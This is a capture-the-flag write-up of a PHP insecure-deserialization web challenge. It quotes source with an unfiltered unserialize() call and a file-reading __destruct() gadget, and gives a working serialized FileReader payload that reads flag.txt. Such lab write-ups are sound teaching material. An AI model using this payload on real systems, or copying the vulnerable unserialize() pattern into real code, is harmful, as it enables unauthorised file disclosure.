Десериализатор
Десериализатор
Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: destruct_gadget, php_insecure_deserialization, private_property_null_bytes
Summary
Task: PHP web app passes user POST data directly to unserialize(), source contains FileReader class with __destruct() reading files. Solution: craft serialized FileReader object with private filename property set to flag.txt, null bytes required for private property serialization.
Десериализатор — Bug Makers CTF
Description
Попробуйте сервис для онлайн десериализации данных. Флаг записан в файле flag.txt и лежит на одном уровне с index.php Адрес: http://31.207.77.216:4015/
English summary: A web application provides a form for online PHP deserialization. User input is passed directly to unserialize(). The flag is stored in flag.txt at the same directory level as index.php. Full source code of index.php is provided.
Analysis
The source code reveals two critical components:
1. FileReader class with __destruct() gadget
php read-only • copy allowedclass FileReader { private $filename; public function __construct($filename) { $this->filename = $filename; } public function __destruct() { if (file_exists($this->filename)) { echo "Содержимое файла {$this->filename}:<br>"; echo file_get_contents($this->filename); } else { echo "Файл {$this->filename} не существует"; } } }
The __destruct() magic method is automatically called by PHP's garbage collector when the object goes out of scope. It reads and echoes the contents of whatever file is specified in $this->filename.
2. Unsanitized unserialize() call
php read-only • copy allowedif (isset($_POST['data'])) { $user_data = htmlspecialchars_decode($_POST['data']); $obj = unserialize($user_data); echo "<h3>Unserialize data:</h3> <pre>"; var_dump($obj); echo "</pre>"; }
User-controlled POST data is passed directly to unserialize() with no filtering, validation, or allowed-class restrictions (no allowed_classes option in the second argument).
Key detail: private property serialization
The $filename property is declared as private. In PHP's serialization format, private properties are prefixed with null bytes surrounding the class name: \0ClassName\0propertyName. This means the serialized property name is \0FileReader\0filename (20 bytes total: 1 null + 10 "FileReader" + 1 null + 8 "filename"), not simply filename.
Solution
Step 1: Generate the serialized payload
Using PHP to correctly generate the payload with proper null bytes for the private property:
php read-only • copy allowed<?php class FileReader { private $filename; public function __construct($filename) { $this->filename = $filename; } } echo serialize(new FileReader("flag.txt")); // Output: O:10:"FileReader":1:{s:20:"\0FileReader\0filename";s:8:"flag.txt";} ?>
The resulting serialized string:
O:10:"FileReader":1:{s:20:"\0FileReader\0filename";s:8:"flag.txt";}
Breaking down the format:
O:10:"FileReader"— object of classFileReader(10 chars):1:— has 1 propertys:20:"\0FileReader\0filename"— private property name (20 bytes including null bytes)s:8:"flag.txt"— property value
Step 2: Send the payload
Submit the serialized payload via the POST form's data parameter. The \0 null bytes must be actual null bytes (0x00), not the literal string \0.
Step 3: Trigger __destruct()
When unserialize() processes the payload, it creates a FileReader object with $filename = "flag.txt". After var_dump() outputs the object, PHP's garbage collector destroys it, triggering __destruct(), which calls file_get_contents("flag.txt") and echoes the flag.
Response
Содержимое файла flag.txt:
BugCTF{REDACTED}